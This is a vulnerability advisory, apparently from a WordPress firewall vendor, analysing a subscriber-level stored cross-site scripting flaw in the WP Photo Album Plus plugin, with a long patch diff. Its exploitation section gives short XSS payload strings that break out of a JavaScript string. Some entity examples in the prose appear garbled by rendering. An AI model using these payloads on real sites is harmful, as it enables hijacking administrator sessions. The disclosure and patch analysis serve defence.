Published : December 2, 2026

CVE-2026-137124: WP Photo Album Plus <= 9.3.07.003 Authenticated (Subscriber+) Stored Cross-Site Scripting via Comment Field PoC, Patch Analysis & Rule

Severity Medium (CVSS 5.4)
CWE 79
Vulnerable Version 9.3.07.003
Patched Version 9.3.08.001
Disclosed December 1, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-137124: WP Photo Album Plus versions up to and including 9.3.07.003 contain an authenticated (Subscriber+) stored cross-site scripting vulnerability in the comment handling code. The flaw exists in the plugin’s rendering of photo comments and was assigned CVSS 5.4 (CWE-79). Atomic Edge research confirms the root cause is insufficient output escaping combined with a destructive HTML compression pass that re-decodes a double-encoded entity.

The root cause is in wppa-boxes-html.php around line 4091. Comment text is processed by `wp_kses_post( convert_smilies( $c ) )` and inserted into a blockquote without JavaScript-context escaping. A subscriber can submit a comment containing the sequence `&amp;#39;` (which is the string `'` after one decode layer, and a single quote after two). WordPress `wp_kses_post()` and later `esc_js()` preserve this double-encoded string intact. However, `wppa_compress_html()` in wppa-utils.php performs `str_replace` operations and runs `htmlspecialchars`/`html_entity_decode` style transformations during output, collapsing `&amp;` to `&` and leaving `'` to be browser-decoded as a literal `’`. That quote then breaks out of the surrounding JavaScript string literal. The patch addresses this by wrapping the comment in `esc_html( esc_js( wp_kses_post( convert_smilies( $c ) ) ) )`, and in wppa-utils.php removes the `&`/`&` pair from the `$from`/`$to` compression arrays that caused the final decode. The patch also introduces `wppa_alphadec()` to strictly whitelist characters in the `alpha` and `container-wrapper-class` input paths, and sanitizes IPTC/EXIF output with `esc_js`.

Exploitation requires only subscriber-level access. An attacker submits a comment through the front-end AJAX comment form (or the admin comment path) with `data.comment` set to a payload such as `&amp;#39;};alert(document.cookie);//` or `&amp;#39;-alert(1)-&amp;#39;`. The payload is stored in the database. The actual XSS fires only when an administrator views the photo page or admin comment list, because the compression pass is applied during output rendering and only administrators trigger the admin-facing render path. Atomic Edge research confirms this is a stored, second-order XSS: the attacker plants the payload, and the administrator’s visit triggers execution in the admin’s browser session.

The patch fixes the issue on two fronts. First, it hardens the comment sink in wppa-boxes-html.php: the value is run through `esc_html(esc_js(…))`, so the stored payload is entity-encoded and cannot break the JS string, even after compression. Second, wppa-utils.php removes the `&` to `&` replacement from `wppa_compress_html()`, eliminating the exact rewrite step that turned `&amp;#39;` into a browser-decoded quote. The new `wppa_alphadec()` helper restricts `alpha` inputs (including shortcode `class`) to alphanumerics plus `-#$ ,._`, and the `container-wrapper-class` attribute is now passed through `wppa_alphadec()` and `esc_attr()`. IPTC/EXIF rendering in wppa-boxes-html.php also now uses `esc_js` per value. Together these changes remove the decoding path and enforce context-appropriate escaping.

Impact: a subscriber can execute arbitrary JavaScript in the context of an administrator’s session. That allows session hijacking, creation of rogue admin accounts, installation of malicious plugins, and full site takeover. Atomic Edge rates the practical risk as elevated because the plugin has a large installed base and the trigger action (admin viewing a photo or comment list) is a routine page load.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/wp-photo-album-plus/wppa-admin-functions.php
+++ b/wp-photo-album-plus/wppa-admin-functions.php
@@ -3,7 +3,7 @@
 * Package: wp-photo-album-plus
 *
 * gp admin functions
-* Version: 9.3.00.001
+* Version: 9.3.08.001
 *
 */

@@ -684,22 +684,20 @@
 		}

 		// If not dups allowed and its already here, quit
-		if ( wppa_get( 'nodups' ) || wppa_switch( 'void_dups' ) ) {
-			$exists = wppa_is_file_duplicate_photo( $filename, $alb );
-			if ( $exists ) {
-				if ( wppa_get( 'del-after-p' ) ) {
-					wppa_unlink( $file );
-					/* translators: photoname, albumname */
-					$msg = __( 'Photo %1$s already exists in album number %2$s. Removed from depot.', 'wp-photo-album-plus' );
-				}
-				else {
-					/* translators: photoname, albumname */
-					$msg = __( 'Photo %1$s already exists in album number %2$s.', 'wp-photo-album-plus' );
-				}
-				wppa_warning_message( sprintf( $msg, $name, $alb ) );
-				wppa_log( 'war', sprintf( $msg, $name, $alb ));
-				return false;
+		$exists = wppa_is_file_duplicate_photo( $filename, $alb );
+		if ( $exists ) {
+			if ( wppa_get( 'del-after-p' ) ) {
+				wppa_unlink( $file );
+				/* translators: photoname, albumname */
+				$msg = __( 'Photo %1$s already exists in album number %2$s. Removed from depot.', 'wp-photo-album-plus' );
 			}
+			else {
+				/* translators: photoname, albumname */
+				$msg = __( 'Photo %1$s already exists in album number %2$s.', 'wp-photo-album-plus' );
+			}
+			wppa_warning_message( sprintf( $msg, $name, $alb ) );
+			wppa_log( 'war', sprintf( $msg, $name, $alb ));
+			return false;
 		}

 		// Verify file exists
--- a/wp-photo-album-plus/wppa-ajax.php
+++ b/wp-photo-album-plus/wppa-ajax.php
@@ -2,7 +2,7 @@
 /* wppa-ajax.php
 *
 * Functions used in ajax requests
-* Version: 9.3.07.001
+* Version: 9.3.08.001
 *
 */

@@ -2674,7 +2674,7 @@

 						// Check for already exists
 						$exists = wppa_is_file_duplicate_photo( $photodata['filename'], $toalb );
-						if ( wppa_switch( 'void_dups' ) && $exists ) {
+						if ( $exists ) {

 							/* translators: file name, album id */
 							$txt = sprintf ( __( 'A photo with filename %1$s already exists in album %2$d.' , 'wp-photo-album-plus' ), $photodata['filename'], $toalb );
@@ -2716,7 +2716,7 @@

 						// Check for already exists
 						$exists = wppa_is_file_duplicate_photo( $photodata['filename'], $toalb );
-						if ( wppa_switch( 'void_dups' ) && $exists ) {
+						if ( $exists ) {

 							/* translators: photo filename, album id */
 							$txt = sprintf( __( 'A photo with filename %1$s already exists in album %2$d.' , 'wp-photo-album-plus' ), $photodata['filename'], $toalb );
--- a/wp-photo-album-plus/wppa-boxes-html.php
+++ b/wp-photo-album-plus/wppa-boxes-html.php
@@ -3,7 +3,7 @@
 * Package: wp-photo-album-plus
 *
 * Various wppa boxes
-* Version 9.3.06.002
+* Version 9.3.08.001
 *
 */

@@ -4091,7 +4091,7 @@
 								class="wppa-comment-bquote"
 								style="padding:5px 0;margin:5px 0 0;width:98%;"
 								>' .
-								wp_kses_post( convert_smilies( $c ) ) . '
+								esc_html( esc_js( wp_kses_post( convert_smilies( $c ) ) ) ) . '
 							</blockquote>';

 							// Status approved
@@ -4657,22 +4657,19 @@

 			$count++;
 			$newtag = $iptcline['tag'];
-			if ( $newtag != $oldtag && $oldtag != '' ) $result .= '</td></tr>';	// Close previous line
-			if ( $newtag == $oldtag ) {
-				$result .= '; ';							// next item with same tag
-			}
-			else {
+			if ( $newtag != $oldtag ) { 		// Ignore dups
 				$result .= 	'
 				<tr style="border-bottom:0 none; border-top:0 none; border-left: 0 none; border-right: 0 none">
 					<td class="wppa-iptc-label wppa-box-text wppa-td" style="width:50%;text-align:right">' .
 						esc_js( wppa_translate( $label ) ) . '
 					</td>
 					<td class="wppa-iptc-value wppa-box-text wppa-td" style="width:50%;text-align:left">';
+						$result .= esc_js( wppa_sanitize_text( wppa_translate( $iptcline['description'], 'wp-photo-album-plus' ) ) ) . '
+					</td>
+				</tr>';
 			}
-			$result .= esc_js( wppa_sanitize_text( wppa_translate( $iptcline['description'], 'wp-photo-album-plus' ) ) );
 			$oldtag = $newtag;
 		}
-		if ( $oldtag != '' ) $result .= '</td></tr>';	// Close last line
 		$result .= '</tbody></table></div>';
 	}
 	if ( ! $count ) {
@@ -4758,6 +4755,7 @@
 		$oldtag = '';
 		foreach ( $exifdata as $exifline ) {

+			$newtag = $exifline['tag'];
 			$default = 'default';
 			$label = '';
 			foreach ( $wppa_exif_labels as $exif_label ) {
@@ -4778,24 +4776,19 @@

 			$count++;
 			$newtag = $exifline['tag'];
-			if ( $newtag != $oldtag && $oldtag != '' ) $result .= '</td></tr>';	// Close previous line
-			if ( $newtag == $oldtag ) {
-				$result .= '; ';							// next item with same tag
-			}
-			else {
-				$result .= 	'<tr style="border-bottom:0 none; border-top:0 none; border-left: 0 none; border-right: 0 none">' .
-							'<td class="wppa-exif-label wppa-box-text wppa-td" style="width:50%;text-align:right">';
-
-				$label = rtrim( wppa_exif_tagname( $exifline['tag'], $brand ), " nrtv:" );
-
-				$result .= esc_js( wppa_translate( $label ) );
-
-				$result .= '</td><td class="wppa-exif-value wppa-box-text wppa-td" style="width:50%;text-align:left">';
+			if ( $newtag != $oldtag ) { 		// Ignore dups
+				$result .=
+				'<tr style="border-bottom:0 none; border-top:0 none; border-left: 0 none; border-right: 0 none">
+					<td class="wppa-exif-label wppa-box-text wppa-td" style="width:50%;text-align:right">' .
+						esc_js( wppa_translate( rtrim( wppa_exif_tagname( $exifline['tag'], $brand ), " nrtv:" ) ) ) . '
+					</td>
+					<td class="wppa-exif-value wppa-box-text wppa-td" style="width:50%;text-align:left">' .
+						esc_js( $exifline['f_description'] ) . '
+					</td>
+				</tr>';
 			}
-			$result .= esc_js( $exifline['f_description'] );
 			$oldtag = $newtag;
 		}
-		if ( $oldtag != '' ) $result .= '</td></tr>';	// Close last line
 		$result .= '</tbody></table></div>';
 	}
 	if ( ! $count ) {
--- a/wp-photo-album-plus/wppa-defaults.php
+++ b/wp-photo-album-plus/wppa-defaults.php
@@ -3,7 +3,7 @@
 * Package: wp-photo-album-plus
 *
 * Contains default settings
-* version 9.3.06.001
+* version 9.3.08.001
 *
 */

@@ -846,7 +846,6 @@
 						'wppa_user_destroy_on' 			=> 'no',
 						'wppa_upload_frontend_minsize' 	=> 0,
 						'wppa_upload_frontend_maxsize' 	=> 0,
-						'wppa_void_dups' 				=> 'no',
 						'wppa_fe_alert' 				=> 'all',
 						'wppa_fe_upload_max_albums' 	=> 500, 	// VII-B13

--- a/wp-photo-album-plus/wppa-exif-iptc-common.php
+++ b/wp-photo-album-plus/wppa-exif-iptc-common.php
@@ -3,7 +3,7 @@
 * Package: wp-photo-album-plus
 *
 * exif and iptc common functions
-* Version: 9.3.05.002
+* Version: 9.3.08.001
 *
 *
 */
@@ -61,10 +61,7 @@
 				}
 			}

-			if ( $prevtag == $tag ) {			// add a next item for this tag
-				$combined .= ', '.htmlspecialchars( wp_strip_all_tags( $iptcline['description'] ) );
-			}
-			else { 							// first item of this tag
+			if ( $prevtag != $tag ) {			// Ignore dups
 				if ( $combined ) { 			// Process if required
 					$temp = str_replace( $prevtag, $combined, $temp );
 				}
@@ -146,10 +143,7 @@
 		foreach ( $exifdata as $exifline ) {

 			$tag = $exifline['tag'];
-			if ( $prevtag == $tag ) {			// add a next item for this tag
-				$combined .= ', ' . wppa_format_exif( $tag, $exifline['description'] );
-			}
-			else { 							// first item of this tag
+			if ( $prevtag != $tag ) {			// Ignore dups
 				if ( $combined ) { 			// Process if required
 					$temp = str_replace( $prevtag, $combined, $temp );
 				}
--- a/wp-photo-album-plus/wppa-filter.php
+++ b/wp-photo-album-plus/wppa-filter.php
@@ -3,7 +3,7 @@
 * Package: wp-photo-album-plus
 *
 * get the albums via shortcode handler
-* Version: 9.3.07.001
+* Version: 9.3.08.001
 *
 */

@@ -168,7 +168,7 @@
 	$wppa['portrait'] 	= $atts['portrait'];
 	$wppa['anon'] 		= $atts['anon'];
 	$wppa['meonly'] 	= $atts['meonly'];
-	$wppa['container-wrapper-class'] = $atts['class'];
+	$wppa['container-wrapper-class'] = wppa_alphadec( $atts['class'] );
 	$wppa['targetmocc'] = $atts['targetmocc'];
 	$wppa['is_random']  	= $atts['random'];
 	$wppa['max'] 		= $atts['max'];
@@ -682,7 +682,7 @@
 			break;

 		default:
-			wppa_log( 'Err', 'Invalid type: ' . htmlentities( $atts['type'] ) . ' in wppa shortcode ' . $wppa_current_shortcode );
+			wppa_log( 'Err', 'Invalid type: ' . $atts['type'] . ' in wppa shortcode ' . $wppa_current_shortcode );
 			return '';
 	}

--- a/wp-photo-album-plus/wppa-functions.php
+++ b/wp-photo-album-plus/wppa-functions.php
@@ -3,7 +3,7 @@
 * Package: wp-photo-album-plus
 *
 * Various functions
-* Version: 9.3.07.001
+* Version: 9.3.08.001
 *
 */

@@ -3729,8 +3729,8 @@
 			wppa_out( '
 				<div
 					id="wppa-container-wrapper-' . wppa( 'mocc' ) . '"
-					class="' . $class . ' ' . wppa( 'container-wrapper-class' ) . '"
-					style="' . wppa_get_container_wrapper_style() . '"
+					class="' . esc_attr( $class . ' ' . wppa( 'container-wrapper-class' ) ) . '"
+					style="' . esc_attr( wppa_get_container_wrapper_style() ) . '"
 					>' );
 			break;
 		case 'close':
@@ -5213,12 +5213,10 @@
 		}

 		// Check for already exists
-		if ( wppa_switch( 'void_dups' ) ) {
-			if ( wppa_is_file_duplicate_photo( wppa_sanitize_file_name( $file['name'] ), $alb ) ) {
-				/* translators: filename */
-				$wppa_alert .= esc_js( sprintf( __( 'Uploaded file %s already exists in this album.', 'wp-photo-album-plus' ), wppa_sanitize_file_name( $file['name'] ) ) );
-				return false;
-			}
+		if ( wppa_is_file_duplicate_photo( wppa_sanitize_file_name( $file['name'] ), $alb ) ) {
+			/* translators: filename */
+			$wppa_alert .= esc_js( sprintf( __( 'Uploaded file %s already exists in this album.', 'wp-photo-album-plus' ), wppa_sanitize_file_name( $file['name'] ) ) );
+			return false;
 		}

 		// Find extension from mimetype
--- a/wp-photo-album-plus/wppa-import-ajax.php
+++ b/wp-photo-album-plus/wppa-import-ajax.php
@@ -3,7 +3,7 @@
 * Package: wp-photo-album-plus
 *
 * Contains the actual import functions
-* Version: 9.2.01.001
+* Version: 9.3.08.001
 *
 */

@@ -491,7 +491,7 @@
 		if ( is_numeric( $alb ) && $alb != 0 ) {

 			// Is it a dup and no dups?
-			if ( ( wppa_switch( 'void_dups' ) || wppa_get( 'nodups' ) ) && wppa_is_file_duplicate_photo( $name, $alb ) ) {
+			if ( wppa_is_file_duplicate_photo( $name, $alb ) ) {
 				$wppa_skip++;
 				wppa_log_skip( $name, 'duplicate not allowed' );
 				if ( wppa( 'is_remote' ) ) {
--- a/wp-photo-album-plus/wppa-import.php
+++ b/wp-photo-album-plus/wppa-import.php
@@ -3,7 +3,7 @@
 * Package: wp-photo-album-plus
 *
 * Contains all the import pages and functions
-* Version 9.3.00.002
+* Version 9.3.08.001
 *
 */

@@ -521,12 +521,8 @@
 					wppa_import_header_check( 'cre-album', __( 'Import into album', 'wp-photo-album-plus' ) . ' ' . $src, ' value="' . esc_attr( $src ) . '"' );
 				}
 				wppa_import_header_check( 'wppa-update', __( 'Update existing photos', 'wp-photo-album-plus' ) );
-				if ( wppa_switch( 'void_dups' ) ) {
-					wppa_echo( '<input type="hidden" id="wppa-nodups" name="wppa-nodups" value="1" />' );
-				}
-				else {
-					wppa_import_header_check( 'wppa-nodups', __( 'Do not create duplicates', 'wp-photo-album-plus' ) );
-				}
+				wppa_echo( '<input type="hidden" id="wppa-nodups" name="wppa-nodups" value="1" />' );
+
 				if ( wppa_switch( 'import_preview' ) ) {
 					wppa_import_header_check( 'wppa-zoom', __( 'Zoom previews', 'wp-photo-album-plus' ) );
 				}
--- a/wp-photo-album-plus/wppa-index.php
+++ b/wp-photo-album-plus/wppa-index.php
@@ -3,7 +3,7 @@
 * Package: wp-photo-album-plus
 *
 * Contains all indexing functions
-* Version: 9.2.01.003
+* Version: 9.3.08.001
 *
 *
 */
@@ -58,7 +58,7 @@
 			// If this line does not exist yet, create it with only one album number as data
 			if ( ! $indexline ) {
 				wppa_create_index_entry( array( 'slug' => $word, 'albums' => $id ) );
-				wppa_log( 'idx', 'Adding index slug {b}{span style="color:darkred"}' . $word . '{/span}{/b} for album {b}' . $id . '{/b}' );
+				wppa_log( 'idx', 'Adding index slug {b}' . $word . '{/b} for album {b}' . $id . '{/b}' );
 				$words_added .= $word . ' ';
 			}

@@ -127,7 +127,7 @@
 				// If this line does not exist yet, create it with only one album number as data
 				if ( ! $indexline ) {
 					wppa_create_index_entry( array( 'slug' => $word, 'photos' => $id ) );
-					wppa_log( 'idx', 'Adding index slug {b}{span style="color:darkred"}' . $word . '{/span}{/b} for photo {b}' . $id . '{/b}' );
+					wppa_log( 'idx', 'Adding index slug {b}' . $word . '{/b} for photo {b}' . $id . '{/b}' );
 					$words_added .= $word . ' ';
 				}

--- a/wp-photo-album-plus/wppa-input.php
+++ b/wp-photo-album-plus/wppa-input.php
@@ -3,7 +3,7 @@
 * Package: wp-photo-album-plus
 *
 * Contains functions for sanitizing and formatting user input
-* Version: 9.3.07.001
+* Version: 9.3.08.001
 *
 */

@@ -172,7 +172,6 @@
 			break;

 		// Html
-		case 'comment':
 		case 'upn-description':
 		case 'user-desc': 		// Desc by user during fe upload
 		case 'albumeditdesc': 	// Fe album desc
@@ -215,6 +214,7 @@
 		case 'tab':
 		case 'edit-id':
 		case 'item':
+		case 'switchto':
 			$result = 'alpha';
 			break;

@@ -357,7 +357,7 @@
 			break;

 		case 'post':
-			return isset( $_REQUEST[$key] ) ? wp_kses_post( ( str_replace( '%26', '&', wp_unslash( $_REQUEST[$key] ) ) ) ) : $default;
+			return isset( $_REQUEST[$key] ) ? wp_kses_post( wp_unslash( $_REQUEST[$key] ) ) : $default;
 			break;

 		case 'html':
@@ -434,7 +434,7 @@

 		case 'alpha':
 			$value = isset( $_REQUEST[$key] ) ? sanitize_text_field( wp_unslash( $_REQUEST[$key] ) ) : '';
-			$value = str_replace( ["'", '"'], '', $value );
+			$value = wppa_alphadec( $value );
 			return $value;
 			break;

--- a/wp-photo-album-plus/wppa-mailing.php
+++ b/wp-photo-album-plus/wppa-mailing.php
@@ -4,7 +4,7 @@
 *
 * Contains mailing functions
 *
-* Version 9.3.00.002
+* Version 9.3.08.001
 *
 */

@@ -182,7 +182,7 @@

 			// Is this lock not older than 18 second?
 			if ( wppa_filetime( $lock_file ) >= ( time() - 18 ) ) {
-				wppa_log( 'Eml', '{span style="color:red;" }{b}CRON ERROR{/b}{/span} Duplicate cron process detected. Aborting {b}' . $type . '{/b}' . $log_args );
+				wppa_log( 'Eml', '{span style="color:red;" }{b}CRON ERROR{/b} Duplicate cron process detected. Aborting {b}' . $type . '{/b}' . $log_args );
 			}

 			// It's older, so it is a regular re-run, but unneeded
--- a/wp-photo-album-plus/wppa-maintenance.php
+++ b/wp-photo-album-plus/wppa-maintenance.php
@@ -3,7 +3,7 @@
 * Package: wp-photo-album-plus
 *
 * Contains (not yet, but in the future maybe) all the maintenance routines
-* version 9.3.07.001
+* version 9.3.08.001
 *
 */

@@ -546,7 +546,7 @@
 						case 'wppa_remake_index_photos':
 							$wa = wppa_index_add( 'photo', $id, 'force' );
 							if ( $wa ) {
-								wppa_log( $logtype, 'Indexed photo {b}' . $id . '{/b} words added: {b}{span style="color:darkred"}' . $wa .  '{/span}{/b}');
+								wppa_log( $logtype, 'Indexed photo {b}' . $id . '{/b} words added: {b}' . $wa .  '{/b}');
 							}
 							break;

@@ -1095,17 +1095,17 @@

 						if ( strlen( $current_word ) < wppa_opt( 'search_min_length' ) ) {
 							wppa_del_row( $wpdb->wppa_index, 'slug', $current_word );
-							wppa_log( 'idx', '{b}wppa_cleanup_index{/b} removed word {b}{span style="color:darkred"}' . $current_word . '{/b} from index because it is too short' );
+							wppa_log( 'idx', '{b}wppa_cleanup_index{/b} removed word {b}' . $current_word . '{/b} from index because it is too short' );
 						}
 						if ( ! $index['photos'] && ! $index['albums'] ) {
 							wppa_del_row( $wpdb->wppa_index, 'slug', $current_word );
-							wppa_log( 'idx', '{b}wppa_cleanup_index{/b} removed word {b}{span style="color:darkred"}' . $current_word . '{/b} from index because it has no items' );
+							wppa_log( 'idx', '{b}wppa_cleanup_index{/b} removed word {b}' . $current_word . '{/b} from index because it has no items' );
 						}

 						else {
 							$albums 		= wppa_index_string_to_array( $indexes[$idx]['albums'] );

-							wppa_log( 'idx', 'Start cleanup index # ' . $indexes[$idx]['id'] . ' word {b}{span style="color:darkred"}' . $indexes[$idx]['slug'] . '{/b}' );
+							wppa_log( 'idx', 'Start cleanup index # ' . $indexes[$idx]['id'] . ' word {b}' . $indexes[$idx]['slug'] . '{/b}' );

 							if ( is_array( $albums ) ) foreach( array_keys( $albums ) as $aidx ) {

@@ -1120,7 +1120,7 @@
 									// If album gone, remove it from index
 									if ( ! wppa_album_exists( $alb ) ) {
 										unset( $albums[$aidx] );
-										wppa_log( $logtype, '{b}wppa_cleanup_index{/b} Removed ' . $alb . ' from album index word {b}{span style="color:darkred"}' . $current_word . '{/span}{/b} because album vanished' );
+										wppa_log( $logtype, '{b}wppa_cleanup_index{/b} Removed ' . $alb . ' from album index word {b}' . $current_word . '{/b} because album vanished' );
 										$didsome = true;
 									}

@@ -1129,7 +1129,7 @@
 										$words 	= wppa_index_raw_to_words( wppa_index_get_raw_album( $alb ) );
 										if ( ! in_array( $indexes[$idx]['slug'], $words ) ) {
 											unset( $albums[$aidx] );
-											wppa_log( $logtype, '{b}wppa_cleanup_index{/b} Removed ' . $alb . ' from album index word {b}{span style="color:darkred"}' . $current_word . '{/span}{/b} because word no longer in album' );
+											wppa_log( $logtype, '{b}wppa_cleanup_index{/b} Removed ' . $alb . ' from album index word {b}' . $current_word . '{/b} because word no longer in album' );
 											$didsome = true;
 										}
 										wppa_cache_album( 'invalidate', $alb );	// Prevent cache overflow
@@ -1163,7 +1163,7 @@
 									// If photo gone, remove it from index
 									if ( ! wppa_photo_exists( $pho ) ) {
 										unset( $photos[$pidx] );
-										wppa_log( $logtype, '{b}wppa_cleanup_index{/b} Removed ' . $pho . ' from photo index word {b}{span style="color:darkred"}' . $current_word . '{/span}{/b} because photo vanished' );
+										wppa_log( $logtype, '{b}wppa_cleanup_index{/b} Removed ' . $pho . ' from photo index word {b}' . $current_word . '{/b} because photo vanished' );
 										$didsome = true;
 									}

@@ -1172,7 +1172,7 @@
 										$words = wppa_index_raw_to_words( wppa_index_get_raw_photo( $pho ) );
 										if ( ! in_array( $indexes[$idx]['slug'], $words ) ) {
 											unset( $photos[$pidx] );
-											wppa_log( $logtype, '{b}wppa_cleanup_index{/b} Removed ' . $pho . ' from photo index word {b}{span style="color:darkred"}' . $current_word . '{/span}{/b} because word no longer in photo' );
+											wppa_log( $logtype, '{b}wppa_cleanup_index{/b} Removed ' . $pho . ' from photo index word {b}' . $current_word . '{/b} because word no longer in photo' );
 											$didsome = true;
 										}
 										wppa_cache_photo( 'invalidate' );	// Prevent cache overflow
@@ -1200,7 +1200,7 @@
 							$photos = wppa_index_array_to_string( $photos );
 							if ( $didsome ) {
 								wppa_update_index( $indexes[$idx]['id'], ['albums' => $albums, 'photos' => $photos] );
-								wppa_log( $logtype, '{b}wppa_cleanup_index{/b} Updated index word {b}{span style="color:darkred"}' . $indexes[$idx]['slug'] . '{/span}{/b} with albums = ' . $albums . ' and photos = ' . $photos );
+								wppa_log( $logtype, '{b}wppa_cleanup_index{/b} Updated index word {b}' . $indexes[$idx]['slug'] . '{/b} with albums = ' . $albums . ' and photos = ' . $photos );
 							}
 						}
 						break;
--- a/wp-photo-album-plus/wppa-photo-admin-autosave.php
+++ b/wp-photo-album-plus/wppa-photo-admin-autosave.php
@@ -3,7 +3,7 @@
 * Package: wp-photo-album-plus
 *
 * edit and delete photos
-* Version: 9.3.03.002
+* Version: 9.3.08.001
 *
 */

@@ -3339,15 +3339,16 @@
 							if ( $newalb ) {
 								$photo = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $wpdb->wppa_photos WHERE id = %d", $id ), ARRAY_A );
 								wppa_echo( wppa_show_query( true ) );
-								if ( wppa_switch( 'void_dups' ) ) {	// Check for already exists
-									$exists = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->wppa_photos WHERE filename = %s AND album = %d", $photo['filename'], $newalb ) );
-									wppa_echo( wppa_show_query( true ) );
-									if ( $exists ) {	// Already exists
-										/* translators: filename, albumname */
-										wppa_error_message ( sprintf ( __( 'A photo with filename %1$s already exists in album %2$s.' , 'wp-photo-album-plus' ), $photo['filename'], $newalb ) );
-										$skip = true;
-									}
+
+								// Check for already exists
+								$exists = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->wppa_photos WHERE filename = %s AND album = %d", $photo['filename'], $newalb ) );
+								wppa_echo( wppa_show_query( true ) );
+								if ( $exists ) {	// Already exists
+									/* translators: filename, albumname */
+									wppa_error_message ( sprintf ( __( 'A photo with filename %1$s already exists in album %2$s.' , 'wp-photo-album-plus' ), $photo['filename'], $newalb ) );
+									$skip = true;
 								}
+
 								if ( ! $skip ) {
 									wppa_invalidate_treecounts( $photo['album'] );		// Current album
 									wppa_invalidate_treecounts( $newalb );				// New album
@@ -3361,14 +3362,15 @@
 							if ( $newalb ) {
 								$photo = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $wpdb->wppa_photos WHERE id = %d", $id ), ARRAY_A );
 								wppa_echo( wppa_show_query( true ) );
-								if ( wppa_switch( 'void_dups' ) ) {	// Check for already exists
-									$exists = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->wppa_photos WHERE filename = %s AND album = %d", $photo['filename'], $newalb ) );
-									if ( $exists ) {	// Already exists
-										/* translators: filename, albumname */
-										wppa_error_message ( sprintf ( __( 'A photo with filename %1$s already exists in album %2$s.' , 'wp-photo-album-plus' ), $photo['filename'], $newalb ) );
-										$skip = true;
-									}
+
+								// Check for already exists
+								$exists = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->wppa_photos WHERE filename = %s AND album = %d", $photo['filename'], $newalb ) );
+								if ( $exists ) {	// Already exists
+									/* translators: filename, albumname */
+									wppa_error_message ( sprintf ( __( 'A photo with filename %1$s already exists in album %2$s.' , 'wp-photo-album-plus' ), $photo['filename'], $newalb ) );
+									$skip = true;
 								}
+
 								if ( ! $skip ) {
 									wppa_copy_photo( $id, $newalb );
 									wppa_invalidate_treecounts( $newalb );
--- a/wp-photo-album-plus/wppa-settings-autosave.php
+++ b/wp-photo-album-plus/wppa-settings-autosave.php
@@ -3,7 +3,7 @@
 * Package: wp-photo-album-plus
 *
 * manage all options
-* version 9.3.06.001
+* version 9.3.08.001
 *
 */

@@ -8250,7 +8250,7 @@
 						$desc = __('Prevent the creation of duplicate photos.', 'wp-photo-album-plus' );
 						$help = __('If checked: uploading, importing, copying or moving photos to other albums will be prevented when the destination album already contains a photo with the same filename.', 'wp-photo-album-plus' );
 						$slug = 'wppa_void_dups';
-						$html = wppa_checkbox($slug);
+						$html = $security_no_disable;
 						wppa_setting_new($slug, 15, $name, $desc, $html, $help);

 						$name = __('Blacklist user', 'wp-photo-album-plus' );
--- a/wp-photo-album-plus/wppa-tinymce-shortcodes.php
+++ b/wp-photo-album-plus/wppa-tinymce-shortcodes.php
@@ -2,7 +2,7 @@
 /* wppa-tinymce-shortcodes.php
 * Pachkage: wp-photo-album-plus
 *
-* Version 9.2.01.001
+* Version 9.3.08.001
 */

 if ( ! defined( 'ABSPATH' ) ) exit();
@@ -339,7 +339,7 @@
 						<option value="#me">-- ' . __( 'The logged in visitor', 'wp-photo-album-plus' ) . ' --</option>';
 						$users = wppa_get_users();
 						if ( $users ) foreach ( $users as $user ) {
-							$result .= '<option value="' . $user['user_login'] . '">' . $user['display_name'] . '</option>';
+							$result .= '<option value="' . esc_attr( $user['user_login'] ) . '">' . esc_html( $user['display_name'] ) . '</option>';
 						}
 						else {	// Too many
 							$result .= '<option value="xxx">-- ' . __( 'Too many users, edit manually', 'wp-photo-album-plus' ) . ' --</option>';
--- a/wp-photo-album-plus/wppa-upload-common.php
+++ b/wp-photo-album-plus/wppa-upload-common.php
@@ -3,7 +3,7 @@
 * Package: wp-photo-album-plus
 *
 * Contains common upload functions
-* Version: 9.3.00.001
+* Version: 9.3.08.001
 *
 */

@@ -112,16 +112,8 @@
 	// Check against duplicate files
 	if ( $new_type == 'image' || $new_type == 'document' ) {
 		if ( $ext_type == $new_type ) {
-			if ( wppa_switch( 'void_dups' ) ) {
-				/* translators: filename */
-				wppa_upload_common_ok( sprintf( __( 'Item %s already exists in this album and will be overwritten', 'wp-photo-album-plus' ), $file['name'] ), $from );
-			}
-			else {
-
-				// Forget its a dup
-				$ext_type 	= '';
-				$ext_id 	= false;
-			}
+			/* translators: filename */
+			wppa_upload_common_ok( sprintf( __( 'Item %s already exists in this album and will be overwritten', 'wp-photo-album-plus' ), $file['name'] ), $from );
 		}
 	}

--- a/wp-photo-album-plus/wppa-utils.php
+++ b/wp-photo-album-plus/wppa-utils.php
@@ -3,7 +3,7 @@
 * Package: wp-photo-album-plus
 *
 * Contains low-level utility routines
-* Version: 9.3.07.001
+* Version: 9.3.08.001
 *
 */

@@ -1719,16 +1719,19 @@
 	// Debug mode on?
 	$dbg = wppa_switch( 'enable_debug' );

-	if ( wppa_switch( 'enable_ext_logging' ) ) {
-		$msg = '{b}'.$wppa_current_shortcode . '{/b} ' . $msg;
-	}
-
 	// Sanitize message
 	$msg = wp_strip_all_tags( $msg );
 	$msg = wppa_nl2sp( $msg );
 	$msg = htmlspecialchars( $msg );
 	$msg = str_replace( 'style="color:darkred"', 'style="color:darkred"', $msg );

+	if ( wppa_switch( 'enable_ext_logging' ) ) {
+		$msg = '{b}' . wppa_alphadec( $wppa_current_shortcode, [], true ). '{/b} ' . wppa_alphadec( $msg, ['{','}','/'], true );
+	}
+	else {
+		$msg = wppa_alphadec( $msg, [], true );
+	}
+
 	// Test for recursive logging
 	if ( $busy ) {
 		wppa_update_option( 'wppa_recursive_log', $xtype . ' ' . $msg );
@@ -5253,8 +5256,8 @@
 	}

 	// Now do the other compressions
-	$from = 	array( 	"> <", "<ul></ul>", "<!--",   '" >', '&', 'style=" ', '"/>',  ' style=""', 'px;', '/>' );
